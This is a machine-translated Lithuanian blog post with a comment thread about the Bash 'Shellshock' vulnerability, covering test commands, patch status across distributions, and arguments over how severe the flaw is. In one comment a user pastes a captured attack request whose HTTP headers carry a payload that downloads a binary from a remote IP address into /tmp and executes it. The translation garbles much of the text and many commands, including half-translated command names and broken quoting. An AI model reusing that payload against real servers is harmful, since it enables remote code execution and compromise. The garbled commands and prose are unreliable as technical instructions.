Kai kuriuose tinklaraščiuose jis veikia kaip žaibas, istorija paskelbta saugumo tinklaraštis de "Red Hat" apie „Bash“ rastą pažeidžiamumą dėl netinkamo pasaulinių kintamųjų naudojimo. Remiantis pirminėmis naujienomis:
„… Pažeidžiamumas yra dėl to, kad aplinkos kintamuosius su specialiai sukurtomis reikšmėmis galima sukurti prieš iškviečiant„ bash “apvalkalą. Šiuose kintamuosiuose gali būti kodas, kuris vykdomas iškart, kai iškviečiamas apvalkalas. Šių parengtų kintamųjų pavadinimas neturi reikšmės, tik jų turinys. Todėl šis pažeidžiamumas atsiskleidžia daugeliu atvejųPavyzdžiui:
- „ForceCommand“ jis naudojamas sshd konfigūracijose, siekiant suteikti ribotas komandų vykdymo galimybes nuotoliniams vartotojams. Šis trūkumas gali būti naudojamas siekiant to išvengti ir savavališkai vykdyti komandą. Kai kurie „Git“ ir „Subversion“ diegimai naudoja tokius ribotus apvalkalus. Reguliariam „OpenSSH“ naudojimui tai neturi įtakos, nes vartotojai jau turi prieigą prie konsolės.
- Apache serveris, naudojant mod_cgi arba mod_cgid, bus paveiktas, jei CGI scenarijai bus parašyti tiek bash, tiek spawn pakopose. Tokius pakopus netiesiogiai naudoja sistema / popen C sistemoje, os.system / os.popen Python sistemoje, jei naudojate sistemos / exec apvalkalą PHP (kai veikia CGI režimu), o „Perl“ atidarykite / system (tai priklauso nuo komandų eilutės).
- PHP scenarijai, vykdomi naudojant mod_php, neturi įtakos, net jei žaidžiami pakopiniai lygiai.
- DHCP klientai, norėdami konfigūruoti sistemą, naudoja „shell“ scenarijus, kurių reikšmės paimtos iš potencialiai kenksmingo serverio. Tai leistų DHCP kliento kompiuteryje vykdyti savavališkas komandas, paprastai kaip šaknines.
- Įvairūs demonai ir programos su SUID privilegijomis gali vykdyti apvalkalo scenarijus su aplinkos kintamųjų reikšmėmis, kurias nustatė / įtakojo vartotojas, o tai leistų vykdyti savavališkas komandas.
- Bet kuri kita programa, sujungianti apvalkalą arba vykdanti apvalkalo scenarijų, pvz., Naudojant „bash“ kaip vertėją. „Shell“ scenarijai, kurie neeksportuoja kintamųjų, nėra pažeidžiami šios problemos, net jei jie apdoroja nepatikimą turinį ir jį saugo apvalkalo kintamieji (kairėje) ir sublygiai atidaromi.
... "
Kaip sužinoti, ar tai paveikė mano „Bash“?
Atsižvelgiant į tai, yra labai paprastas būdas sužinoti, ar mus veikia šis pažeidžiamumas. Tiesą sakant, aš išbandžiau savo „Antergos“ ir, matyt, neturiu jokių problemų. Ką turime padaryti, tai atidaryti terminalą ir įdėti:
env x = '() {:;}; aidas pažeidžiamas "bash -c" aidas tai yra bandymas "
Jei taip išeina, mes neturime jokių problemų:
env x = '() {:;}; echo pažeidžiamas 'bash -c "aidas tai yra bandymas" bash: įspėjimas: x: ignoruojant funkcijos apibrėžimo bandymą bash: klaida importuojant funkcijos x apibrėžimą x tai bandymas
Jei rezultatas skiriasi, turėtumėte naudoti mūsų pageidaujamų paskirstymų naujinimo kanalus, kad sužinotumėte, ar jie jau pritaikė pataisą. Taigi jūs žinote 😉
Atnaujinta: Tai yra kolegos, naudojančio „Ubuntu“ 14:04, išvestis:
env x = '() {:;}; aidas pažeidžiamas 'bash -c "aidas tai bandymas" pažeidžiamas tai bandymas
Kaip matote, kol kas jis yra pažeidžiamas.
Aš turiu „Kubuntu 14.04“ iš 64 ir taip pat gaunu:
env x = '() {:;}; aidas pažeidžiamas "bash -c" aidas tai yra bandymas "
pažeidžiamas
čia testas
Aš jau atnaujinau, bet tai netaiso. Ką daryti?
Palaukite, kol jie atnaujins. Jau atnaujinta eOS, pvz., Atnaujinta .. 😀
Kaip keista, aš taip pat turiu „Kubuntu 14.04“
$ env x = '() {:;}; aidas pažeidžiamas "bash -c" aidas tai yra bandymas "
bash: įspėjimas: x: ignoruojamas bandymas apibrėžti funkciją
„bash“: klaida importuojant „x“ funkcijos apibrėžimą
čia testas
Pridedu, kad šiandien atsisiųsta „bash“ paketo versija yra:
4.3
http://packages.ubuntu.com/trusty/bash
Mano atveju, suteikiant komandą, man tiesiog suteikiama ši informacija terminale:
>Bet kokiu atveju, pokštas yra tas, kad atnaujinau „Debian Wheezy“ ir tai mane išmetė.
Švokštimas vis dar yra pažeidžiamas antrosios klaidos dalies, bent jau popietei (UTC -4: 30), problema vis dar buvo tokia: /
Aš ką tik patikrinau, ar šį rytą pritaikius naujinį, „Slackware“, „Debian“ ir „Centos“ neturi įtakos, nes jie gavo atitinkamą naujinį.
Kas daro „Ubuntu“ vis dar pažeidžiamą šią valandą? Ir pasakyk, kad tai saugu: D.
Bet ar bandėte atnaujinti „Ubuntu“?
Su šios dienos atnaujinimu jie taip pat pataisė.
OK
Saugumo ekspertai įspėja apie „Bash“ pažeidžiamumą, nes tai gali kelti didesnę grėsmę „Linux“ programinės įrangos vartotojams nei „Heartbleed“ klaida, kur „įsilaužėliai“ gali panaudoti „Bash“ klaidą, kad galėtų visiškai kontroliuoti sistemą.
Kibernetinio saugumo firmos „Rapid7“ inžinerijos vadovas Todas Beardsley įspėjo, kad trūkumas buvo įvertintas 10 pagal jo sunkumą, o tai reiškia, kad jis turi maksimalų poveikį, ir įvertintas kaip „žemas“ už išnaudojimo sudėtingumą, o tai reiškia, kad „įsilaužėliams“ yra gana lengva. atakų. Naudodamiesi šia spraga užpuolikai gali perimti operacinės sistemos kontrolę, pasiekti konfidencialią informaciją, atlikti pakeitimus ir pan. “, - sakė Beardsley. „Kiekvienas, turintis sistemas, kurios užima„ Bash “, turėtų nedelsdamas uždėti pleistrą“, - pridūrė jis.
PRIEŠ ŠĮ PAJAMUMĄ, KURIUO PRISTATOMAS SENASIS ĮRANKIS (GNU), kuriame yra Bachas, „Linux“ programinei įrangai būtų patogiau atsikratyti GNU ir pakeisti BSD įrankį.
Ne CENORUOKITE mano žodžio laisvės, ... neįžeidinėkite nieko, ... neištrinkite mano pranešimo kaip ankstesnio pranešimo, kurį ištryniau!
O prašau, nepersistenk. Kaip nekenčiu tų žmonių, kurie naudoja BSD ir niekina GNU, „Linux“ ar bet ką iš šių projektų.
Aš esu su jumis ir esate visiškai teisus dėl šios skylės sunkumo.
Tai nebuvo cenzūra, o atleidimas (tą patį komentarą pateikėte gnome 3.14 įraše)
«... Ir įvertino išnaudojimo SUDĖTINGUMĄ„ MAŽAI “, o tai reiškia, kad įsilaužėlių atakoms tai palyginti LENGVAI»
Ar pastebimas nesuderinamumas?
Kaip galima lengvai išnaudoti pažeidžiamumą ir tuo pačiu rizikuoti „žemai“, nes jį naudoti taip sudėtinga?
Tai klaida, kuri buvo pašalinta per kelias valandas nuo susitikimo ir kuri, kaip ir nuoširdi, neturi pranešimų apie tai, kad būtų išnaudota (žinoma, tai turi mažiau laiko pažinti vienas kitą).
Tai daugiau bulvarinė spauda nei reali rizika.
Ar @Staff jums atrodo nesvarbus? Ką man dabar pasakysi?
GAUTI./.HTTP/1.0
. Vartotojo atstovas:. Ačiū, Rob
. Slapukas: (). {.:;.};. Wget.-O./tmp/besh.http://162.253.66.76/nginx; .chmod.777. / tmp / besh; ./ tmp / besh;
.Šeimininkas: (). {.:;.};. Wget.-O./tmp/besh.http://162.253.66.76/nginx; .chmod.777. / tmp / besh; ./ tmp / besh;
Referentas: (). {.:;.};. Wget.-O./tmp/besh.http://162.253.66.76/nginx; .chmod.777. / tmp / besh; ./ tmp / besh;
.Priimti:. * / *
$ failas „nginx“
„nginx“: ELF 32 bitų LSB vykdomoji programa, „Intel 80386“, 1 versija (SYSV), statiškai susieta, skirta GNU / Linux 2.6.18, pašalinta
$md5sum nginx
5924bcc045bb7039f55c6ce29234e29a nginx
$sha256sum nginx
73b0d95541c84965fa42c3e257bb349957b3be626dec9d55efcc6ebcba6fa489 nginx
Ar žinote, kas tai yra? Iš mažai pavojingo nieko ...
Situacija yra gana rimta, bet iš ten sakau, kad turėtumėte nustoti naudoti „bash“ BSD parinkčiai, tai jau yra ne daugiau, vistiek atnaujinimas jau yra, aš tiesiog paliečiu atnaujinimą ir nieko daugiau.
Dabar PD, manau, kad tai daugiau kolega @robet, nemanau, kad čia administratoriai yra pasiryžę ištrinti tokius komentarus, nes taip, nes nuo tada, kai dalyvavau šioje bendruomenėje, turėjau tokį jausmą ir tikiuosi, kad taip ir liks būdu.
Sveikinimai.
Tą patį komentarą pateikėte ir dviem skirtingiems įrašams. Jei bandote reklamuoti istorijos „šaltinį“, atsiprašau, čia ne ta vieta.
Bashas kilęs iš „Unix“ (ir jo GNU klono). Taip pat paveiktos BSD pagrįstos sistemos, tokios kaip OSX, ir, pasak „Genbeta“, jos dar netaisė. Be to, norint pasiekti „Bash“, jums reikia vietinės arba per SSH vartotojo paskyros.
@Staffas:
1.- Jis priskiriamas 10 lygiui (didžiausias pavojaus lygis) dėl paslaugų, kurias gali paveikti klaida, kiekio. Pagrindinėje pastaboje jie tai labai aiškiai nurodo, teigdami, kad klaida gali paveikti tokias paslaugas kaip apache, sshd, programas su suid leidimais (be kita ko, xorg).
2. - Kalbant apie jo įgyvendinimą, jis priskiriamas žemo lygio sunkumams, o geriausias to pavyzdys yra pažeidžiamumo testo scenarijus, kurį @elav įdėjo į įrašą. Labai sunku įgyvendinti nėra, kaip matote.
Aš nematau informacijos pertekliaus (matau tik „Google“ vertimą) ir jei problema yra gana rimta, ir kaip jūs sakote, ji jau turi pleistrą ir sprendimą, bet ne tam, tai nebėra rizika, ir visai tikras.
@ Petercheco / @ Yukiteru
Neaiškinkite manęs klaidingai, manau, kad akivaizdu, kad mano kritika yra naujiena, kurią Robet susieja ir yra orientuota į neatitikimą, o ne į atleidimą.
Lygiai taip pat turime atskirti riziką ir pavojų (pastarojo neminėsiu), dažniausiai juos vartojame kaip sinonimus, tačiau čia pavojus būtų klaidos sugadinimo pajėgumas ir rizika, kad ji atsiras.
Konkrečiu atveju įėjau iš vakar. Tai nebuvo skirta pašto adresų sąrašams ar panašiai. Tai buvo skirta darbalaukio platintojui! Paėmiau telefoną ir nusiunčiau pranešimą sistemai su nuoroda ir patvirtinau, kad jau viską užtaisiau, tada atleiskite, bet šios naujienos manęs nemiega.
Kituose forumuose jie mini apie „Bash“ pažeidžiamumą, „sprendimą, kurį išleido Debianas ir„ Ubuntu “, tačiau šiandien jie atrado, kad pažeidžiamumas vis dar egzistuoja, todėl sprendimas buvo neišsamus, jie tai mini!
Matau, kad daugelis mane kritikavo dėl paprasčiausio fakto, kad neleidžiu žmonėms patekti į pažeidžiamumo laipsnį, kuris atitinka 10 didžiausio pavojingumo lygį, ir paminėjo galimus „Linux“ programinės įrangos sprendimus prieš pasenusį GNU įrankį, kuriame talpinamas „Bash“ - kuris puikiai galėtų būti GNU būti pakeistas „BSD“ įrankiu „Linux“ programinėje įrangoje ... Aš taip pat naudoju „Linux“ ir man patinka „Linux“!
Aš paaiškinu, kad Bash nėra numatytasis įdiegtas BSD, tai dar vienas „Linux“ suderinamumo paketas, kurį galima įdiegti BSD ... taip! Šaltinis dedamas taip, kad jie galėtų patikrinti naujienas, nes daugelis vartotojų kartais netiki žinute ar komentarais.
robetas: Kaip jie jums jau sakė ne kartą, jūs jau įdėjote savo komentarą su naujienomis į įrašą, jūs neturite jo dėti į kiekvieną įrašą, kurį komentuojate.
Bash'e yra ir kitų kriauklių, kurias galima naudoti tuo atveju, jei Bashas yra pažeidžiamas. 😉
Robete, aš žinau, kad nėra jokios programinės įrangos, kuri sujungtų „Linux“ branduolį su „BSD“ naudotoju. Artimiausias dalykas yra atvirkščiai - kBSD + GNU, kaip tai daro „Gentoo“ ir „Debian“. Be to, GNU (1983) negalima pavadinti „senamadišku“, jei tai yra po BSD (1977). Jie abu dalijasi savo „unix“ šaknimi (bet ne kodu), „Linux suderinamumo“ nebūtų, jei „Bash“ būtų sukurtas, kai Linusas T dar buvo vaikas.
Šiuo metu „Debian“ testavimas yra „pažeidžiamas“, kokį brūkšnį turime ...
Aš naudoju „Debian Testing“ ir net šiame skyriuje mes gavome „bash“ atnaujinimą
pagal genbeta yra ir dar vienas pažeidžiamumas
http://seclists.org/oss-sec/2014/q3/685
komanda pasikonsultuoti yra
env X = '() {(a) => \' sh -c "pažeidžiamas aidas"; bash -c "aido gedimas 2 nepašalintas"
env X = '() {(a) => \' sh -c "aidas pažeidžiamas"; bash -c "echo Nepašalinta gedimas 2" sh: X: 1 eilutė: sintaksinė klaida šalia netikėto elemento "=" sh: X: 1 eilutė: "" sh: klaida importuojant "X" funkcijos apibrėžimą sh - Pažeidžiama - 2 gedimas nepašalintas komanda nerastatas pats aš.
Tas pats čia. Tačiau originali įrašo klaida buvo užtaisyta (L) Ubuntu 14.04
Užuot atlikęs paprastą aidą, bandydamas priversti įvykdyti instrukciją, kuriai reikalingos privilegijos, aš išmetu „nepakankamas privilegijas“ ... ši klaida nepašalina privilegijų? Jei ji nepadidina privilegijų, tai nėra taip pavojinga, kaip jie ją piešia.
Tu teisus!! jie buvo du pažeidžiamumai ...
Man po „Linux Mint 17“ po antrojo „bash“ atnaujinimo, kurį jie įdėjo į „Ubuntu“ saugyklas praėjusią naktį, įvykdžius šią komandą, apvalkalas siūlo šį išėjimą:
env X = '() {(a) => \' sh -c "aidas pažeidžiamas"; bash -c "echo Fail 2 nepataisytas"
>
„Bassh“ versija, įdėta į „Ubuntu“ saugyklas norint atnaujinti ankstesnes, yra tokia:
4.3
„Debian“ išvestinėse sistemose galite patikrinti įdiegtą versiją naudodami šią komandą:
dpkg -s bash | grep versija
Bet kokiu atveju tai turėtų būti paaiškinta, bent jau Debian, Ubuntu ir Mint naudotojams; Jums nereikėtų per daug rūpintis programomis, kurios paleidžia scenarijus su antrašte #! / Bin / sh, nes tuose paskirstymuose / bin / sh nevadina „bash“, bet jungiasi prie apvalkalo „brūkšnys“ (brūkšnys yra :)
„Debian Alchemist Console“ (brūkšnys) yra išvestinė POSIX konsolė
pelenų.
.
Kadangi scenarijus vykdomas greičiau nei „bash“, jis turi mažiau priklausomybių
bibliotekų (todėl ji yra tvirtesnė nuo programinės įrangos gedimų ar
aparatinė įranga), jis naudojamas kaip numatytoji sistemos konsolė sistemose
Debianas.
Taigi, bent jau „Ubuntu“, „bash“ naudojamas kaip apvalkalas vartotojo prisijungimui (taip pat ir root vartotojui). Bet kuris vartotojas pagal numatytuosius nustatymus gali naudoti kitą apvalkalą vartotojui ir šaknies konsolėms (terminalams).
Lengva patikrinti, ar apvalkalas vykdo scenarijus (#! / Bin / sh) vykdydamas šias komandas:
file / bin / sh
(išvestis yra / bin / sh: simbolinė nuoroda į „brūkšnį“) sekame pėdsaką kartodami komandą
failas / šiukšliadėžė / brūkšnys
(išvestis yra / bin / dash: ELF 64 bitų LSB bendras objektas, x86-64, 1 versija (SYSV), taigi tai yra vykdomasis failas.
Tai yra „Linux Mint 17.“ paskirstymo rezultatai. Kituose, ne „Ubuntu“ / „Debian“ pagrįstuose, paskirstymuose jie gali būti skirtingi.
Nesunku pakeisti numatytąjį apvalkalą !! vartotojams ir pagrindiniam vartotojui netgi galite naudoti kitą. Tiesą sakant, jūs tiesiog turite įdiegti pasirinktą apvalkalą ir pakeisti numatytąjį naudodami komandą „chsh“ arba redaguodami failą / etc / passwd (nors vartotojai, nežinodami klaidos padarinių redaguodami „passwd“ failą, Geriau labai gerai informuoti save ir prieš jį redaguojant pasidaryti originalo kopiją, jei reikia jį atkurti).
Jaučiuosi patogiau su „tcsh“ (tcsh is :)
TENEX C konsolė, patobulinta „Berkeley csh“ versija
„Csh“ yra tai, ką prieš kelerius metus naudojo „Mac OS X“. Tai prasminga atsižvelgiant į tai, kad didžioji „Apple“ operacinės sistemos dalis yra „FreeBSD“ kodas. Iš to, ką skaičiau vakar, atrodo, kad jie taip pat teikia „bash“ vartotojo terminalams.
IŠVADOS:
- Pataisytos „bash“ versijos „dažniausiai naudojamiems paskirstymams“ jau buvo išplatintos
- "bash" 4.3-7ubuntu1.2 ir vėlesnėse versijose šių klaidų nėra
- OS * Linux naudoti „bash“ nėra privaloma
- Keletas * „Linux“ paskirstymų susieja #! / Bin / sh su „bash“
- Yra alternatyvų: pelenai, brūkšnys, csh, tcsh ir dar keli
- Nesudėtinga pakeisti numatytąjį apvalkalą, kurį sistema iškviečia atidarant terminalą
- Mažai mažų įrenginių (maršrutizatorių ir kitų) naudoja „bash“, nes jis yra labai didelis !!
Šiuo metu ką tik atėjo kitas atnaujinimas, kuriame įdiegiama kita „bash“ 4.3-7ubuntu1.3 versija
Skirta „Linux Mint 17“ ir „Ubuntu 14.04.1 LTS“
„ArchLinux“ įvedė versiją bash-4.3.026-1
@ Xurxo… .csh iš Berkeley?,… Jūs suprantate ką nors iš to, ką kalbu aukščiau, ir geriau naudoti BSD „csh“ ..., o ne seną GNU įrankį, kuriame talpinamas „Bash“. Šis įrankis yra geriausias „Linux“ programinei įrangai.
Spėju, kad tai yra klaida
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=762760
tiesa?
O koks būtų sprendimas?
Palaukite, kol jie atnaujins jūsų platintojo paketą 😉
Klaida buvo pakrikštyta kaip kriauklė
http://www.theregister.co.uk/2014/09/24/bash_shell_vuln/
pažeidžiamas
čia testas
Kol kas nėra „Ubuntu Studio 14.04“ pleistro
Taisyta „Ubuntu Studio“ 14.04.1
wisp @ ubuntustudio: ~ $ env x = '() {:;}; aidas pažeidžiamas "bash -c" aidas tai yra bandymas "
bash: įspėjimas: x: ignoruojamas bandymas apibrėžti funkciją
„bash“: klaida importuojant „x“ funkcijos apibrėžimą
čia testas
Tiesą sakant, tai yra nedidelis pažeidžiamumas, jei jis jus veikia, tai, kad anksčiau darėte kažką blogo ...
Nes bash scenarijus, kuris veikia su root teisėmis, niekada neturėtų būti atskirtas vartotojui. Ir jei jis bėga be privilegijų, tokio apgaulingumo nėra. Tiesą sakant, tai kvaila. Daug bauginanti.
Aš manau taip pat.
Tiksliai, norint parduoti daugiau laikraščių ar sulaukti daugiau apsilankymų, šios klaidos yra geros.
Tačiau jie visada pamiršta paminėti, kad norint pakenkti kompiuteriui naudojant tokio tipo scenarijus, pirmiausia turite turėti prieigą prie „bash“, o tada turėti jį kaip šakninę.
personalas, jei naudojate apache su cgi, tiesiog įdėkite http antraštes kaip slapukus arba persiųskite norimą vykdyti funkciją. Jis netgi buvo naudojamas kirminams platinti.
ir jei kas nors įdeda apvalkalą į serverį su „wget mishell.php“, tai tokiu atveju tai nėra rimta, ar ne?
Sutinku su jumis. Maniau, kad tai didžiulė klaida, tokia kaip „Heartbleed“ (net NSA paskolino save sergamumui skatinti), bet vis dėlto tai buvo nedidelė klaida.
Yra ir kitų tikrai rimtų klaidų, tokių kaip beprotiškas „Flash“ vartojimas, „Pepper Flash Player“ našumas ir jau pataisyta „webRTC“ klaida „Chrome“ ir „Firefox“.
Ar žinote, ar ji yra skirta žmonėms, turintiems „Linux Mint 16“?
„Debian“ bandymuose tai jau buvo pataisyta.
Mano 5 rajonuose tai išspręsta, OS X nežinau.
Prašau necenzūruoti mano komentaro, sakiau „OS X“. Nežinau, ar šioje svetainėje galite pasakyti „OS X“.
@yoyo gerai nesijaudink per daug, kad jie vis dar dirba su kai kuriomis pleistro detalėmis ... pabandykite tai ir tada pasakykite man, eik XD
env x = '() {:;}; „Aš esu labiau pažeidžiama nei„ iPhone 6 “šiukšliadėžė“
Kad jei jie tai išspręs 100% prieš OS X, aš bet ką lažinuosi
Na, net „Ars Technica“ jie suteikia svarbą „Bash“ OSX.
@Yoyo kitas OS X komentaras, skirtas šlamštui .. lla tu save .. 😛
@yoyo ten pataisyti kabutes ... bet visa kita zinai 😉
Kalbėjo FSF
https://fsf.org/news/free-software-foundation-statement-on-the-gnu-bash-shellshock-vulnerability
Lyg jie taptų OSX globėjais (nes OSX vis dar naudoja „Bash“: v).
Bet kokiu atveju, aš neturiu tiek daug susipainioti su Debian Jessie.
Jei „Cent OS“ sistema yra pažeidžiama:
yum clean all && yum update bash
norėdami pamatyti bash versiją:
aps. -qa | grep bash
Jei versija yra ankstesnė nei bash-4.1.2-15.el6_5.1, jūsų sistema gali būti pažeidžiama!
Sveikinimai.
2-asis pažeidžiamumas dar neišspręstas
env amvariable2 = '() {(a) => \' sh -c "echo amVulnerable"; bash -c "aido gedimas 2 nepašalintas"
Atnaujinama ...
„Gentoo“ man nutinka priešingai, esu pažeidžiamas tik dėl pirmosios nesėkmės, bet su antrąja tai gaunu:
[kodas] sh: X: 1 eilutė: sintaksinė klaida šalia netikėto elemento „=“
sh: X: 1 eilutė: "
sh: klaida importuojant „X“ funkcijos apibrėžimą
sh: pažeidžiamas: komanda nerasta
2 klaida netaisyta
[/ kodas]
Nežinau, ar jau bus stabili „Bash“ versija su ištaisytomis klaidomis, bet bet kuriuo atveju ji bus laukiama kitą kartą, kai atliksiu „emerge –sync && emerge –update –deep –with-bdeps = ir - newuse @world (taip aš atnaujinu visą sistemą).
Turiu „Gentoo“ su versija 4.2_p50 ir iki šiol ji išlaikė visus bandymus. Pabandykite atsirasti –sync, tada atsiraskite -av1 app-shells / bash ir patikrinkite, ar turite 4.2_p50 versiją naudodami komandą bash –version.
Ar bandėte tai?
Su naujais paketais, nauju testu, kurį mums teikia „Red Hat“
cd / tmp; rm -f / tmp / aidas; env 'x = () {(a) => \' bash -c "aido data"; katė / tmp / aidas
Jei mūsų sistema nėra pažeidžiama ir buvo tinkamai užtaisyta, ji turi duoti mums kažką panašaus
1 data
2 katė: / tmp / echo: failo ar katalogo nėra
Išbandykite taip:
env X = '() {(a) => \' sh -c "pažeidžiamas aidas"; bash -c "pataisytas 2 aido gedimas"
Suprantu
pažeidžiamas
2 klaidą užtaisyta.
Pamirškite, eilutė yra blogai suformatuota.
Puiku! Aš jau atnaujinau savo „Slackware“, ačiū!
Sveiki, kyla klausimas, turiu kelis serverius su 10 bitų „SUSE Linux Enterprise Server 64“.
Vykdydamas komandas esu pažeidžiamas, esu dar labiau pažeidžiamas nei šiukšliadėžė „iPhone 6 xD“
Jei neklystu atnaujindamas / įdiegdamas paketus SUSE, tai daroma naudojant komandą «zypper».
Kai kuriuose serveriuose man tai sakoma:
BIAL: ~ # užtrauktukas
-bash: zypper: komanda nerasta
BIAL: ~ #
O kituose tai:
SMB: ~ # užtrauktukas
Atkuriami sistemos šaltiniai ...
Analizuojami „SUSE Linux Enterprise Server 10“ SP2-20100319-161944 metaduomenys ...
Analizuojamas RPM duomenų bazė ...
santrauka:
Nėra ką veikti.
Ką aš darau?
Aš žinau, kad kai kurie sako, kad pažeidžiamumas yra mažesnis už tą, kurį jie piešia, bet aš jį turiu ir nenoriu, kad rizika būtų maža ar didelė.
Sveikinimai.
Labas vakaras, bandžiau įklijuoti kodą, kurį pateikėte straipsnyje, suprantu
šlifuokliai @ pc-šlifuokliai: ~ $ env x = '() {:;}; aidas pažeidžiamas "bash -c" aidas tai yra bandymas "
čia testas
šlifuokliai @ kompiuteriniai šlifuokliai: ~ $
Ar galėtumėte man paaiškinti, kaip pataisyti distro, aš atnaujinu kasdien ir nematau raginimo išvesties pokyčių.
Labai ačiū!